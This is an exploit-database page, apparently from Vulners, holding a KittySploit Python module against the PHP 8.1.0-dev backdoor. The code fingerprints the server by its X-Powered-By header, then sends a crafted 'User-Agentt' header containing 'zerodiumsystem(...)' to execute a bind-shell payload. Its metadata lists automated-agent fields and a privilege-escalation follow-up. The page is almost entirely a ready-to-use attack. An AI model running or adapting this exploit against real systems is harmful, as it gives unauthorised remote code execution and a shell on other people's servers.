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PHP 8.1.0-dev (backdoor)

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Backdoor in PHP allows remote code execution.

Refs
Code
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):


	__info__ = {
			'name': 'PHP 8.1.0-dev (backdoor)',
			'description': 'PHP 8.1.0-dev (backdoor)',
			'cve': '',
			'platform': Platform.ALL,
			'arch': [Arch.X64, Arch.X86],
			'payload': {
				'default':'payloads/single/cmd/unix/bind_tcp',
				'arch':Arch.PHP,
				},			
		'agent': {
		    'risk': 'intrusive',
		    'effects': ['active_exploitation'],
		    'expected_requests': 2,
		    'reversible': False,
		    'approval_required': True,
		    'produces': ['exploit_paths', 'risk_signals'],
		    'cost': 1.5,
		    'noise': 0.5,
		    'value': 1.0,
		    'requires': 		    {'min_endpoints': 0,
		     'min_params': 0,
		     'tech_hints_any': [],
		     'tech_hints_all': [],
		     'specializations_any': [],
		     'risk_signals_any': [],
		     'auth_session': False,
		     'capabilities_any': [],
		     'capabilities_all': [],
		     'confidence_min': {},
		     'confidence_min_any': {},
		     'endpoint_pattern_any': [],
		     'param_any': [],
		     'api_surface_ready': False},
		    'chain': 		    {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
		     'consumes_capabilities': [],
		     'option_bindings': {},
		     'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
		},
		}

	def check(self):
		r = self.http_request(
						method = 'GET',
						path = '/')
		if r:
			if r.headers['X-Powered-By'] == "PHP/8.1.0-dev" :
				return True
		return False	

	def run(self):

		if self.check():
			print_success("PHP 8.1.0-dev found")

			r = self.http_request(
							method = 'GET',
							path = '/',
							headers = {"User-Agentt": f"zerodiumsystem('{self.payload}');"},
							allow_redirects = False)
			return
		self.not_vulnerable()

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05 Aug 2026 13:34Current
5.8Medium risk
Vulners AI Score5.8
2